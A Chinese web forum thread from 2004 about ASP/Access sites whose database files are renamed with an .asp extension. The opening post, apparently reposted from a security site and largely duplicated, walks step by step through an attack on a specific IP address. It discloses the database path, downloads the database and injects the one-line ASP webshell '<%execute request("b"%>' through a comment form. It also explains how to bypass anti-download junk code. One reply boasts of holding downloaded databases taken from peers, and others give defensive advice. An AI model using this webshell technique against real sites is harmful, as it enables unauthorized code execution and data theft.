主题:  后缀被改为asp的安全隐患

相逢辰

职务:普通成员
等级:2
金币:0.0
发贴:512
#12004/12/28 13:16:36

可能是随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路



  大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。



二.示例



  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210




返回:



Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'



/iisHelp/common/500-100.asp,行242



Microsoft JET Database Engine 错误 '80004005'



'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。



/test/conn.asp,行18




 我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供"网友评论"功能。我们注册个用户,发一条评论:



< %execute request("b"%>



  这样我们就把asp代码:<%execute request("b"%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:



/iisHelp/common/500-100.asp,行242
Microsoft VBScript 运行时错误 错误 '800a000d'



类型不匹配: 'execute'



/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266




  哈哈,我们的插入的代码运行了。如下图:



www.4ngel.net/img/acc.gif
本文作者:SuperHei·Lilo
来自:安全天使
 可能是随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。



一.思路



  大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。



二.示例



  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210




返回:



Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'



/iisHelp/common/500-100.asp,行242



Microsoft JET Database Engine 错误 '80004005'



'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。



/test/conn.asp,行18




 我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供"网友评论"功能。我们注册个用户,发一条评论:



< %execute request("b"%>



  这样我们就把asp代码:<%execute request("b"%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:



/iisHelp/common/500-100.asp,行242
Microsoft VBScript 运行时错误 错误 '800a000d'



类型不匹配: 'execute'



/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266




  哈哈,我们的插入的代码运行了。如下图:




注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b"%>。



三.其他一些问题和思路




  1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。



  2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。





缺缺

职务:管理员
等级:8
金币:41.0
发贴:9620
#22004/12/28 13:37:52
本版不禁止转载,但是请适可而止.禁言一天



5D公害

职务:普通成员
等级:9
金币:10.3
发贴:36272
#32004/12/29 11:42:22
作为网管的人员要多加注意,对于已经放置的站点,应关闭向客户端发送详细错误,并且在数据库(ACCESS文件中)作一下手脚

偶桌面上至今排列着同行的的十几个数据库文件,也就是这么下载来的



蓝鲸

职务:版主
等级:5
金币:42.1
发贴:2614
#42004/12/29 16:53:49
ACCESS数据库真没有绝对的安全性,一般方法是目录深藏,取名怪些,并带#,另数据库可建一字段,写上<%#$p%>这样的伪ASP程序,这样试图读取数据库时,遇到<%#$p%>这样符号就会页面出错。这些只一般防法。


非常大鱼